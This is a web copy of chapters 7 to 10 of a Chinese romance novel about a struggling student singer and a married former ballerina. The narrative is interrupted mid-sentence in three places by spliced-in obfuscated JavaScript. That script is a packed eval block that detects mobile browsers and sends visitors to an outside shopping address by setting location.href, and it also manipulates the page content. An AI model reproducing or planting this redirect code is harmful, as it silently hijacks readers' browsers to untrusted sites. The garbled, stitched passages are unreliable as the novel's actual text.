《她已婚》 7. Chapter7 到了大三下半期,课程要少上许多。这本是好事,但坏就坏在,一周有三天都要上早八。 原拓和张博远来到教室时,里面已经坐得半满,每个人都跟被霜打蔫了的秧苗一样,歪歪斜斜地栽在座位上。 “这哪个神经排的课啊,上三天早八,怎么不直接要我命呢。”张博远一头栽趴在课桌上。 原拓从口袋里掏出两个面包,递了一个过去。 “起码课比以前少了,上完这两节,回去就可以补觉。” “那倒也是,”张博远挣扎着坐直,拆开包装咬了一口,“你呢,待会回去睡觉吗?” “昨晚睡得还行,这学期课少,我想再找个兼职。” 张博远侧过头看他,眼底是十足十的佩服。 三年了,原拓就像个陀螺,不是在打工,就是在去打工的路上。 他从不提家里,但开学时孤零零的身影,四季常穿的旧衣以及此刻身上这件在零下几度里显得过分单薄的羽绒服,都让张博远心里有数。 他曾试图帮忙,却总被对方不动声色地偿还。 一开始他不理解,觉得原拓生分,不领情。 直到有一次回家跟老妈说起,被劈头盖脸训斥了一顿,张博远才终于明白,过度同情反而是一种疏远。 自那以后,他再没做过多余的事。 该怎样就怎样,该算多少钱一分不差。 把最后一口面包塞进嘴里,张博远想起件事,“对了,听说东街新开了个酒馆,你要不要去看看,说不定招人的。” 原拓心里记下,“好,待会我去看看。” 这时,教室里窸窸窣窣的声音突然消失。 两人朝门口看去,见一个染着红色头发的男生走进教室。 染发在济大不算新闻,但当这抹亮红色顶在工程系有名的学霸何风头上时,整个教室都静了一瞬。 “我去!”张博远的下巴惊得都快脱臼,“何风?!他什么时候这么…潮了?” 原拓也怔住,他知道何风是出了名的透明人,除了上课,几乎不与任何人有交集。 眼前这头红发,直接颠覆了所有人对他的印象。不过这场震惊没持续太久,就随着老师的出现而渐渐淡去。 原拓也翻开课本,收回心神,开始认真听讲。 下课铃响,人群拥拥挤挤,涌出教室。 十点的阳光带着暖意,却驱不散晚冬的凛冽。 原拓裹紧了身上的衣服,逆着人流朝东街方向走去。 路旁,前段时间下的雪还未化尽,一堆堆残雪偎在树根下,懒懒散散地晒着太阳。 原拓很快找到了那家新开的酒馆,招牌不算太张扬,但设计别致,一眼就能看到。 推开玻璃门,一股还没散干净的油漆味道随着风铃声,扑面而来。 店里,一个穿着干练的短发女人正背对着门口,指挥着工人调整舞台上的灯光角度。 原拓的视线下意识地追随她的动作,落在了那个不算大的舞台上。 一支麦克风,正立在中央。 但只是几秒,他就收回了眼神。 “您好。” 唐绘珊闻声回头,看到一个男生站在几步开外,她礼貌笑道:“请问有事吗?” 眼前的女人看起来有点面熟,原拓想了会,却没想到是在哪里见过。 他甩开疑惑,直接说明来意:“打扰了,请问您这里还需要兼职吗?” 唐绘珊略带歉意地笑了笑,“不好意思,我们人手都已经招满了。” 原拓闻言,眼中闪过一丝失落,不过很快就调整好,“好的,明白了,谢谢您。” 他转身推开玻璃门,风铃再次叮咚一响。却没直接离开,而是站在门前又转头看了一眼台上的麦克风架,才转身向路边走去。 看着男生的背影汇入人流,唐绘珊回头重新投入到开业前的忙碌中。确认完最后的流程,她掏出手机,在屏幕上点了几下。 「零度这周五晚上开业,有空没?」 柳冬意将围巾叠好放进柜子,拿起手机。 「有空。」她回复。 几乎是立刻,信息就跳了回来。 「那晚上记得过来玩。」 「好。」 放下手机,柳冬意换上练功服,走进了空无一人的舞房。 绘珊她们总说她近来瘦了许多,起初还不觉得,此刻这练功服穿在身上,她才真切感受到。 她摇摇头,收敛心神,在把杆上开始压腿热身。 等身体充分预热后,柳冬意打开音响。 旋律是《吉赛尔》的一幕变奏,这是她最喜欢,也是让她拿奖次数最多的舞蹈。 可当第一个旋转落地时,脚踝传来一丝晃动。 柳冬意的心猛地一沉。 过去跳这支变奏,自己落地时是绝对不会出现这样的晃动。 可现在,脚尖推地的力量仿佛被地板吸走,膝盖也少了记忆中的弹性。 每一个小跳也不再似原来那样轻盈,双腿就像是被灌了铅,怎么也追不上那曾经烂熟于心的节拍点。 音乐还在响,柳冬意停下了。 额头上沁出细密的汗珠,她微微喘息着,眼神紧紧盯住镜中的自己。 熟悉,却又陌生至极。 “堂姐,你怎么这么早就来了?” 声音从后方传来,柳冬意偏头看去,是堂妹柳荨。 她关掉音响,“太久没跳,提前过来练习一下。” 柳荨走到她身边,“感觉怎么样?” “还好,就是有点生疏了。” “没关系的,”她语气轻快,“你也有好些年没跳了,生疏是很正常的,练练就回来了。” 柳冬意牵扯了下嘴角,无言擦着汗。她很清楚,自己的生疏并不只是练练就能挽回得了的。 “你怎么这么早也来了?”她转移了话题。 “来给走的那两个老师办交接。” 柳冬意拿起杯子,喝了口温水。 “她们准备去哪?” “一个转行做舞编,”柳荨顿了顿,语气里带着羡慕,“还有一个考进了国家芭蕾舞团。” 听到这个消息,柳冬意的神情恍惚了片刻。 “那很好啊。” “是啊,还好卡着26岁的线进去了。” “倒是也没有那么严格,他们以前也招过几名超龄的舞者。” “能被破格录取的,资历肯定都不简单吧,”柳荨语气里带着不自觉的钦佩,“肯定都是跟你一样,各种国际大奖拿到手软的人物。” 柳冬意轻轻笑了一声,“我哪能跟她们相提并论。” 说完便走到窗边,打开一条小缝透气。 柳荨望着她,每每到这时,都忍不住惋惜。 如果堂姐当初能继续在国家舞团里发展,又有什么不能与她们相提并论的呢。 凭她的成绩,实在绰绰有余。 这个念头像一根刺,扎在柳荨心里很多年。她始终想不明白,身边所有人,包括周敛,都想不通, 一个二十年如一日在练功房里待上至少两个小时的人,怎么会仅仅为了结婚这样一个无足轻重的理由,在事业的巅峰选择退役呢。 可无论她如何旁敲侧击,柳冬意都只是同样的回答。 为了结婚,为了家庭。 “你继续练吧,”柳荨压下心绪,“我先去楼下处理点事,中午一起吃饭?” “嗯,好。” 柳荨走后,柳冬意合上了窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781432|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她打开音响,旋律重新响起。 她看着镜子里的自己,只是看着,没有动作。 下午五点,放学的孩子们陆续被送到舞房。面对这群六到九岁的小孩子们,柳冬意做了简短的自我介绍,便直接带领她们开始热身。 尽管带训的对象从职业舞者换成了孩子,但那套训练方法早已刻入骨子里。 “肩膀再沉一点,脖子不要硬邦邦地架着。” “五位脚站好,记住膝盖要对着脚尖的方向,别往中间扣。” “做阿拉贝斯克时,后背要拉满,两边的力气要平均。” 柳冬意一扫平日的温和,严厉又严格。 这份严厉却让学生更加无措,动作愈发僵硬。 察觉到气氛的紧张,柳冬意声音缓和下来。 “好了,大家先休息五分钟。” 看着孩子们如释重负的表情,她意识到自己大概是需要换一种方式来教课了。 窗外渐沉的暮色,她靠在墙边反思着该如何调整,余光却瞥见玻璃门外一个瘦小的身影。 一个十来岁模样,扎着麻花辫的女孩,正安静地贴着门向里张望。 似乎是感觉到了自己的注视,小女孩望了过来。 视线交汇的一刹那,她眼神飞快地躲闪开,垂下头,小步退回到休息区角落的椅子上,把自己缩起来。 柳冬意觉得有些奇怪,但现在是上课时间,她暂时按下疑惑,拍拍手重新召集学生继续上课。 她深吸一口气,努力将声音放得更柔,开始耐心地分解动作。 课程进度果然顺畅了许多。 下课时间到,家长们涌进来,七嘴八舌地问着孩子的情况和练习要点,柳冬意打起精神一一解答。 直到送走最后一位家长,舞房彻底安静下来的那一刻,疲惫感才后知后觉地重重涌上。 她走到休息区,跌进靠墙的长椅里。 阖上眼,紧绷的神经稍稍松懈。 一幕片段,却在黑暗中闪过。 金色的雨,漫天飘落。 柳冬意仰头,想要迎接这场雨。 可下一秒,就被一个怯生生的声音给打断 “阿…阿姨。” 她睁开眼,眼前是一张局促的脸。 她记得她,是那个站在玻璃门外的女孩。 “怎么了?”柳冬意柔声问。 “阿姨你可以告诉我这里怎么走吗,”女孩双手绞着衣角,“我想回家。” “你的家长呢,没来接你吗?” 小女孩用力地摇摇头,声音更小了:“我…我是跟姚思彤一起来的。” 柳冬意记得学生里有这么个名字。 “她是你的同学吗?” 女孩点头。 听罢,她大概也猜到了来龙去脉。 柳冬意放轻声音,“别怕,你记得爸爸妈妈的电话号码吗?阿姨帮你打电话,让他们来接你好不好?” 女孩松了口气,紧攥的衣角慢慢松开。 “好。” 柳冬意拿出手机,让女孩报出号码。 刚报出前几位,屏幕下方自动弹出一个完整的匹配号码。 柳冬意一愣,她对这个号码完全没有印象。 她迅速翻开最近通话记录,向下滑动。 看到日期的那一刻,她瞬间明白了。 压下心头的惊讶,柳冬意看向女孩:“可以告诉阿姨,你叫什么名字吗?” “我叫秦希。” 这个姓氏出乎意料,柳冬意但还是问了句。 “希希,你认识一个叫原拓的哥哥吗?” 听到这个名字,女孩的眼睛瞬间亮了起来。 “阿姨,你也认识我哥哥吗!” 8. Chapter8 “秦姨,我已经找到地方了,您别担心。” “嗯,待会我把她送回去。” “没事,我晚上没课,不耽误的。” 挂掉电话,原拓立刻按下电梯按钮。 轿厢缓缓上升,内壁贴着舞蹈工作室的宣传海报。 少儿基础班一学期24节课,3500块。 原拓在脑中飞速算着,电梯门开。 算完,一节课大约150块。 走出电梯,夜已深沉,四周空旷,唯有他的脚步声在走廊里发出回响。没走多远,斜对面一间屋子里隐约传来的对话声抓住了他的注意力。 一个是希希。 另一个声音,像一根细线,缠绕住他。 轻轻一扯。 就将他带到了那间屋子附近。 走至玻璃门边时,原拓停了下来。 屋内,希希正扶着把杆努力压腿,一个女人在她身后,双手扶住她的腰背,轻声指点着。 女人背对着他,虽看不清模样,仅凭着熟悉的声音,答案已呼之欲出。 他放轻了脚步,目光不由自主地,紧紧追随着她的背影。 终于,走到门口时,原拓看清了她。 即便早有预感,可当答案确认的那一刻,原拓的心还是被不知从哪里来的鼓槌敲了一下。 力道不重,但声音很响, 惊动屋里的人,齐齐回头看。 原拓的眼神还来不及收回,两人的视线,突然在空中交汇。 和除夕那晚在广场一样,她的眼睛一看过来就瞬间就抽空了他脑中所有思绪。 忘记下一句歌词该怎么唱,忘记此刻该说什么来说明自己的出现,甚至连手脚都不知道该如何摆放。 慌乱来得那么莫名其妙, 却又汹涌得无法抵抗。 “哥哥!” 希希一路跑过来,扑到怀里,才将原拓从僵硬中拽回。 他蹲下身,握住女孩的胳膊,语气里带着后怕和责备,“放学怎么没回家跑这里来了?知不知道我和秦姨有多担心?” 知道自己犯了错,希希小嘴一瘪,“哥哥对不起…” “是她同学带她一起过来的,下课的时候她刚好去上厕所了,同学没看到她,就先走了。”柳冬意的声音在希希身后响起。 原拓抬起头,目光落在她脸上,“希希和您说的吗?” “嗯,”她微微颔首,“刚刚她同学的家长也打电话来了,问她在不在教室。” 原拓的目光重新回到希希身上,似是明白了什么,他深深叹了口气,脑中那根绷紧的弦彻底松了下来。 “对不起,刚刚是哥哥太着急了,所以语气不好。” “不是的,”她认真地摇头,“是我到处乱跑,让你们担心了。” 他弯起唇角,揉了揉她的发顶,“饿不饿,哥哥带你吃饭吧。” “好!”希希脸上的情绪一扫而空。 站起身,原拓看向柳冬意,脸上冒出一丝局促和窘迫,“真的很抱歉打扰您了。” “没关系,”她的声音一如既往地温和,“或许是缘分吧,而且这也算不得什么打扰。” 缘分二字,带起原拓眼中一丝涟漪。 他眨了眨眼,想要再说些什么,试图敛去那份波动。想来想去,却发现话题已到了尽头,他该说的,似乎只能是再见了。 “那…我们就先走了,”他嘴唇嗫嚅着,还是忍不住补充了一句,“外面天好像黑了,您也早点回去吧。” 他牵起希希的手,转身欲走。 “你们要去吃饭吗?”柳冬意却在这时开口。 原拓脚步顿住,“对。” “我请你们吃吧,正好我也没吃饭。” 原拓神情一滞,下意识想要拒绝。 可未等他说话,柳冬意就矮下身,问着希希:“有没有什么想吃的?阿姨带你去。” 希希想了想,扬声说:“想吃肯德基!” “好,那就去吃肯德基。”柳冬意站起身,看向愣神的原拓,“走吧。” 她的态度如此自然,让他想要开口却矛盾地说不出来的拒绝,放心落回了肚子里。 来到附近的肯德基,原拓快速扫了一眼菜单上的价格,右手探进口袋摸了摸那几张纸币,心头暗暗松了口气。 店员见有孩子,便推荐了附赠玩具的家庭套餐。 原拓和希希都没意见,柳冬意就准备拿钱出来付账。同上次在医院一样,钱包刚拿出来,原拓便已抢先一步,将两张有些褶皱的五十元递了过去。 “说好了的我请你们吃。” 说着,她伸出手。 下一秒,原拓的手腕就感觉到了她的碰触。 他低头看去,是那只戴着婚戒的手, 拉扯着他一点点向后。 冰凉的触感,像柔软的冰块,贴在他的手腕。 原拓记得上次在医院时,她的手也是这样没什么温度。 为什么呢?他再一次地产生了好奇。 “我请您吃吧,您今天帮忙照顾希希,我应该感谢您的。” 柳冬意想说不用,还未开口,眼前的男生神情突然变得格外认真。 “除了请您吃饭,我也不知道该怎么感谢,所以还请您不要推辞,好吗?” 那尾音落下时,带着小心翼翼的试探和恳求。 如此,她没再坚持,把钱放回包里。 “好,那就谢谢了。” 等待取餐的间隙,柳冬意带着希希在角落找到相对安静的位置。周围孩子们嬉笑追逐,像一锅沸腾的薯条,衬得他们这一角格外宁静。 柳冬意微微倾身,问:“希希,你多大了?” “九岁了。” “你喜欢芭蕾吗?” “喜欢!”希希重重点头,眼睛亮晶晶的,“特别想变成漂亮的天鹅!” 女孩的声音清脆而充满憧憬,柳冬意倏地笑了一声。她望着她稚嫩的脸,恍惚间想起自己初学芭蕾时也是九岁。 当时她是班里最大的孩子,因为年龄带来的骨骼和关节的灵活性问题,也是最笨拙的那一个。 但她能看出希希的不同,那是一种天生的柔韧,是跳芭蕾不可多得的天赋。 但这些话她不知道该如何去说,她能隐约感觉到希希和原拓的家庭条件有些紧张。这奢侈的天赋对他们而言,不知会不会是沉重的负担。 这时原拓端着堆满食物的托盘,小心地避让着奔跑嬉闹的孩子们,走到她们所在的角落。 柳冬意见状,忙起身去接。 “先喝点热牛奶,”他将两个杯子放到希希面前,“可乐太冰了,放一会再喝。” “谢谢哥哥。” 而后他手指收紧,握住了另一个纸杯放到了桌子对面,“这个给您,也是热牛奶。” 柳冬意一愣,目光从希希身上移开,落在那杯新推过来的牛奶上,随即又看向他。 原拓下意识避开她的视线,假装整理托盘里的食物,补充了一句:“今天还是比较冷,喝点热的会好一些。” “你的呢?”柳冬意注意到他只有一杯可乐。 “我不怎么爱喝牛奶。” “好吧,”她捧起杯子,热牛奶的温热穿过杯壁驱散了指尖的凉意,“谢谢。” 拆开薯条的包装,原拓时不时地抬眼看向对面的柳冬意。 她并没有动食物,只是小口小口喝着牛奶,杯里升腾的热气总是模糊了她的脸庞和他的视线。 原拓忽然意识到自己犯了个疏忽,请人吃饭,竟忘了询问对方的口味和喜好。 他心底悄悄冒出一丝窘迫,咀嚼的动作慢了下来,食物也都瞬间少了许多滋味。 “原拓。” 听到她喊着自己的名字,原拓浑身一凛,捏着薯条的手指停在半空。 “怎么了?” 柳冬意放下杯子,“你现在头恢复得怎么样了?” 他的视线不由自主地追随着她的动作,在她手心停留。有了血色的红,想来应该不会冷了。 回过神,原拓正要回答,一旁的希希突然开口,脸上满是担忧。 “哥哥,你的头怎么了?” 听她这么问,柳冬意陡然忘了,他受伤时跟家里借口说是打工。 “我的头前两天不小心磕了一下,”他忙解释,语气刻意放得轻松随意,“没什么问题,你看,一点事都没了。” 说着,还侧了侧头给她瞧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781433|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那痛吗?”希希不放心地追问,小手想碰又不敢碰。 “不痛的,就很轻地磕了一下。” 听他说不痛,希希的眉头才舒展开,重新拿起汉堡小口小口地吃着,只是眼神还时不时瞟向他的额头。 柳冬意将这一幕看在眼里,识趣地不再继续这个话题。 “还在上学吗?”她自然地换了个问题。 “嗯,在济北大学,读大三。” “那…”柳冬意似乎在斟酌措辞,“还有去广场唱歌吗?” 大约也感觉到自己问得有些突兀,她解释道:“因为我朋友在济北大学附近开了间酒馆,叫零度,最近在招驻唱歌手,所以就想问问你有没有面试的意向?” 听到这名字,原拓神情一怔。那个从她嘴里说出的缘分二字,不停在耳边盘旋着,叫嚣着。 他抬眼看向她,她的眼神并无他意,只是单纯地提供一个机会。 “我今天去过了,但老板说人已经招满了。”他听见自己的声音掺杂着一丝难以掩饰的失落,貌似是为很多理由。 柳冬意愣了一下,随即想起今天上午绘珊给自己发的开业短信。 “好吧,那还真是可惜了。” 原拓眼睑一颤,“可惜…什么?” “也没什么,”她笑了笑,语气坦然,“我觉得你唱歌很好听,如果能在那里表演的话,一定会有很多人喜欢。” 那,你也喜欢听吗? 这句话,如潮水般瞬间冲上原拓的喉咙。 可下一秒,却又强行被咽了回去。 这个问题,貌似没什么问出来的意义。 对她,也对自己。 紧握杯子的手缓缓松开,他将可乐放下,那些冒着气泡的冰块,浸得手心一片湿凉。 吃完饭时,已经是八点。 推开门,卷着残雪的凛冽,冷风扑了过来。 “阿嚏!”希希打了个响亮的喷嚏,身体朝原拓靠拢了些。 他低头看了看自己身上,单薄的外套空空如也,没有任何可以保暖的东西给她。随即又看向四周,想看看附近有没有还在营业的店铺。 扫了一圈后却见柳冬意突然蹲下身,解开自己的围巾,一圈圈围在希希的脖颈间。 “好些了吗?”她柔声问。 “阿姨不用了,”希希小声说,声音被围巾裹得闷闷的,“你会冷的。” 柳冬意将围巾末端塞好,将女孩包裹得严严实实的,“我不冷,而且我马上就到家了,没关系的。” 希希低头在口袋里摸索了一会儿,掏出刚刚套餐里附赠的哆啦A梦玩具,放到她手中。 “这个,我们一人一个。” 柳冬意看着掌心里那个小小的塑料玩具。 晚风拂过,撩起她额前的碎发,摇曳了她脸上的光影。原拓静静注视着这一幕,海水般浮跃的光影,在眼中,无声涌动。 她没有拒绝这份心意,收拢手指,将玩具握在掌心。 “谢谢你,”她起身,对原拓说,“快带希希回去吧,已经很晚了。” “好,”他牵紧希希的手,“您路上注意安全。” “嗯,再见。” 看着那一大一小两个身影融入浓稠的夜色里,柳冬意轻轻呼出一口白气,紧了紧大衣领口,转身往家的方向走去。 只是,她刚走出不过十几米远,就听得身后传来一阵急促的脚步声。 一股没由来的感觉,她停下脚步,转过身。 昏黄的路灯下,是原拓去而复返的身影。 他几步跨到她面前,距离很近,她甚至能感受到他身上带来的热空气和那份急切的呼吸。 “怎...”柳冬意刚开口。 “我可以问您一个问题吗?” 看他分外认真的模样,她心中讶异更甚。 “可以。” 她轻声应允,晚风似乎都在这一刻静止了,等待着他的问题。 “您…” 原拓喉间上下滚动了一圈,仿佛要一口咽下所有的犹豫。 一刹那,晚风大约真的停歇了。 那么安静,让他喉咙里细微的颤抖,几乎无处遁形。 “您…喜欢听我唱歌吗?” 9. Chapter9 公交车身轻微颠簸,像夜的摇篮,荡得城市灯影摇摇晃晃。 一大一小找位置坐下,希希昂起下巴,从围巾里探出脸来,“哥哥,你是怎么认识阿姨的呀?” 原拓眼神微动,和柳冬意怎么认识的? 还真是难回答。 他思索了会,说:“有一次哥哥在外面遇到了点困难,她帮了我一个很大的忙,所以我们就认识了。” 希希努力理解着,“哦~阿姨人真好呀!” “是啊,”原拓嘴角漾开,“她真的很好。” “哥哥,那我以后还能来看阿姨跳舞吗?她跳舞的时候可好看了,比电视里的姐姐跳得还要好看。”她伸手比划着,眼睛晶晶发亮。 尽管原拓没有亲眼所见,光是听希希的三言两语,脑海中竟也跟着描绘出一幅画面。 但那支笔,只画出一个轮廓,他就感觉到自己的袖口被人扯了一下。偏头看去,希希正用她那两只葡萄大眼,巴巴地等自己应允。 “这里太远了,”他的声音带着歉意,“你一个人跑这么远很危险,而且人家是老师,上课不可以被打扰的。” 期待被浇熄,希希的嘴角垮了下来。 但她知道哥哥是对的,只好努力把难过压下去,扬起嘴角,让笑容重新回到脸上。 “我知道,要早点回去写作业啦。” 小孩子的心事,藏得再好,心里那根刺的尖尖也会从眼睛里冒出来。看她强撑的笑容,原拓的心突然被什么东西轻轻拧了一下,泛起细密的酸涩。 希希喜欢跳舞,他一直都知道。每次电视里播放舞蹈节目,她总会踮起脚尖,认真地学着动作。 原拓回想起电梯里看到的宣传海报。 3500块,像一块烧红的烙印,烫在他心头。 四十分钟后,公交车终于到站。两人牵着手,在风里又走了十来分钟,才看到那栋熟悉的筒子楼。 刚踏入铁门,就见秦容芳守在楼道口,瘦削的影子被那盏年久失修的旧灯照得灰扑扑的。 “妈妈!”希希小跑着扑了过去。 “你这是跑哪儿去了,”秦容芳一把搂住小女孩,声音里还有后怕的微颤,眼神上上下下将她看了个遍,“要把我急死了!” “我跟…跟同学出去玩了,”希希心虚又愧疚地道歉,“妈妈对不起,让你担心了。” 确认孩子安然无恙,秦容芳长长舒了口气,悬着的心终于放下,哪里还舍得责怪。 “回来就好,回来就好,吃饭了吗?饿不饿?” “吃啦!”希希献宝似的从兜里掏出哆啦A梦玩具,“我和哥哥还有阿姨,一起吃的肯德基,汉堡里送的哦!” “阿姨?”秦容芳捕捉到这个陌生的称谓,视线随即落在希希脖子上那条陌生的围巾上,疑惑更深了,“哪个阿姨?” “就是哥哥认识的那个阿姨。” 听女儿这样说,她看向站在一旁的原拓。 “嗯,是之前认识的一个人。” “那你请人家吃饭了吗?” 原拓点头。 “那就好,”秦容芳放下心来,嘴里习惯性地念叨着,“人家收留希希,是该好好答谢她,不能缺了礼数。” 眼看夜色已深,宿舍还有门禁,原拓想着自己该回去了。 “您快带希希上去吧,我也得回学校了。” “好,快回去吧,记得到了和我发个短信。” 原拓点头,刚转身迈步,一只手抓住了他。 是希希。 “哥哥,你矮一点。”她仰着脸。 原拓应声蹲下,“怎么了?” 她没说话,只是伸出手,解开围巾。 随后,一圈一圈,系在原拓的脖子上。 柔软的围巾,每一根丝线,都裹着温暖的百合香气,围绕在他的鼻息。 “哥哥,这样你就不冷了。” 他望着眼前的希希,本能地想要取下围巾还给她,可他抬起的手悬在半空许久,最后还是放了下去。 “谢谢,”他的喉结在围巾下轻轻滚动着,“真的不冷了。” 他起身,“秦姨,您快带希希上去休息吧。” 秦容芳的眼神在他脖间的围巾停留片刻,“好,路上千万注意安全,到了宿舍早点休息别熬夜。” 原拓一一应下,看着她们走上楼梯后,这才转身离开。 车站只有他一人,一盏路灯, 一轮蓝月,一阵含香的晚风。 画面那么空旷,却又满满当当。 等了十来分钟,公交缓缓进站。 他来到后排,靠着窗,这是他最喜欢的位置。 很庆幸,自己会随身带着MP4。 戴上耳机,原拓在歌单列表翻找。 一首歌名映入眼帘,他的手指按了下去。 缠绵悱恻的情意一字一句淌进耳朵里。 原拓收回视线,低头看向脖颈间的围巾。 他慢慢闭上眼睛。 下半张脸,一呼一吸,都小心埋进了围巾里。 车内的暖气,烘得很热,也烘得他脸热。 静谧的夜晚,无人的车厢。 车窗旁,是最适合放空的地方。 脑海中那只笔,又被莫名捡起,继续描绘那未完成的身影。 一笔笔,落下又擦去。白色或黑色的舞裙,高挽或是低垂的发髻,扬手亦或是抬腿的姿势,他反复斟酌着。 反复又反复,始终没有定论。 直到他坐在观众席,望见台上那一道身影。 聚光灯下,她穿着白色长裙,头发高高盘起。 模样却留在黑影里,原拓看不清。 他蹙起眉,他记得柳冬意的模样, 千真万确地记得。 但画面里,一笔都描不出了。 正当原拓想要睁眼时,耳机里播放到下一句, “…生平第一次,我放下矜持,任凭自己幻想一切关于我和你…” 眼睫翕动,黑暗中,原拓再次回到观众席。 舞台上,那朦胧不清的身影,翩翩舞动着。 舞台下,他是吝啬的,唯一的观众。 看她一圈又一圈旋转,仿佛要将整个世界都沉浸在她的舞步之中。模糊的五官,也在这旋转的光影里,一笔一笔,逐渐清晰。 直到最后一个音符消散,她稳稳停在舞台中央,笑容璀璨地昂起头,迎接那漫天飘落,如梦似幻的金色细雨。 画面结束,原拓慢慢睁眼,公交门正大开着。 窗外的站牌,是济北大学西门站。 下了车,他抬脚正要往校门走去。 身后传来广播的声音。 下一站,济北大学东门站。 原拓脚步顿住,柳冬意那句回答,擦过耳边。 “当然了,你唱歌真的很好听。” 身后的公交重新发动,原拓随着它回头,目光一动不动,与它往一个方向慢慢驶去。 驶向零度酒馆,驶向和她唯一的链接。 直至消失不见。 酒馆内,清点了整整两个小时,唐慧珊才将吧台那面巨大的酒柜彻底清点完毕。除了那些专业的音乐设备,这满满当当一柜子来自世界各地的酒瓶,便是她这家酒馆的第二大招牌,也是她的心血所在。 她揉揉发酸的脖子,瞥见钟表。 十点过两分。 她顿时一惊:“老天,怎么都这个点了!” 想到回家还要开二十分钟的车,她手忙脚乱,把散在吧台上的钥匙手机笔记本统统扫进托特包里,关掉电闸,离开了酒馆。 裹紧衣服,唐绘珊顶着风快步向马路边对面的停车场走去。 时间虽晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781434|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但因地处大学城中心,路上依然有不少行人。 一群年轻男女嬉笑打闹着从她身旁经过,唐绘珊听着,霎时回忆起自己的大学时晚上貌似也是这样很晚很晚都不回家。 那时,自己经常和朋友一起去地下搞乐队,就和柳冬意在校外合租了间屋子,她作息很规律,基本上自己到家时她就已经睡了。 这时候,客厅的灯总是亮的,桌上会放着一个装满冰糖雪梨水的保温杯,以及压在杯子下面的一张便签。 便签上写着明天的天气是晴是雨,她的课表还有去练舞室的时间。自己看到后,就会在下面留言,没课就去陪她,有课的话就在结束后接她一起去吃饭。 她们专业不同,排课也经常交错。 像两条独立的线,画出不相交的朋友圈。 但她们又默契地知道,彼此是最稳固的锚点。 人行道上的信号灯转绿,中断了回忆。 唐绘珊回过神,她裹紧外套,正要穿过马路,一阵急促的喘息声却从侧方的阴影中传来。 “麻烦…等一下。” 唐绘珊停下脚步,循声望去。 路灯边缘,一个男生正弯着腰,双手抓着一条围巾撑在膝上,肩背随着呼吸剧烈地起伏。额发被汗水浸得微湿,一小缕贴在眉角,他却浑然不觉,只抬起一双眼睛望过来。 唐绘珊认出了他,是白天来应聘的那个男生。 当时唐绘珊还觉得可惜,长相气质都挺不错的,就算是在吧台后面当个花瓶,肯定也能吸引不少顾客。 “又是你啊,”她转身问,“有事吗?” “我想应聘酒馆的驻唱,”原拓直起身,努力平复呼吸,强压住喉中那火烧火燎的干涩,“可以请您…再给我一个机会,听我唱一次吗?一次就好。” 听到这个请求,唐绘珊第一反应是想拒绝。 毕竟表演场次已经排满,用不着再找人,而且更重要的是,她身体累得厉害,实在是不想再折腾。 可看着他跑得近乎虚脱的样子,还有那双执着的眼睛。 鬼使神差的,唐绘珊点了点头,“行吧。” 见她答应,原拓喉中的灼热,肺里的撕裂感,双腿的酸软,一刹那,全都被一阵无名的清风瞬间拂去。 他忍不住笑了声,眸光在背对着路灯的阴影里,却更亮了几分。 “谢谢…谢谢您。” 为了客观评判,也为了能更直观地感受效果,唐绘珊带着原拓折返回了酒馆。 “我跟你说好了,”她一边重新打开电闸,点亮舞台的灯光,半开玩笑半认真地说,“要是唱得不好,我可是很毒舌的。” “嗯,我明白。” 调试好音响和麦克风,唐绘珊走下舞台,“好了,上去试试吧。” 原拓站定在麦克风前,喉咙忽的感觉有些发紧,“这样可以吗?” 他试着说了一句,声音在安静的酒馆中荡了几圈。 唐绘珊比了个OK的手势,“清唱?还是需要伴奏?” “有吉他吗?” 她挑眉,转身从柜子里取出一把原木色吉他。 “今天刚送到的,试试?” 原拓接了过来,搁在膝上,手指在琴弦间轻轻拨弄了几下。 无论是音质还是手感,从各方面来说,他都能感觉到手中这把吉他的品质要比自己那把好了不知多少倍。 但又从各方面来说,那把吉他,对他都是独一无二的。 唱什么歌?原拓垂眸思索着。 思索着今天发生的一切,有哪首合适的歌, 可以言说,可以概括, 概括今晚漫长的夜,围巾叠在枕头边, “…会不会把这个枕头变得甜美…” “…一个人失眠,全世界失眠…” 他翻身看了眼时间,手机显示,凌晨六点。 10. Chapter10 “冬意,晚上出来吃饭吗?”绘珊的声音从听筒里传出。 柳冬意绑着鞋子,对搁在地上的手机说:“今天有老师跟我换课了,恐怕没时间。” “那好吧,晚上还能过来吗?” 柳冬意绑好鞋带,拿起手机,“可以,我大概七点半到八点左右到吧。” “行,那你晚上记得吃饭,别又饿肚子。” “我知道的。” 挂掉电话,柳冬意将手机放在窗台,继续把杆热身。 等到身体充分活动开,她打开音响。 仍是《吉赛尔》第一幕的变奏。 音乐初起,她深吸一口气,抬起手臂。 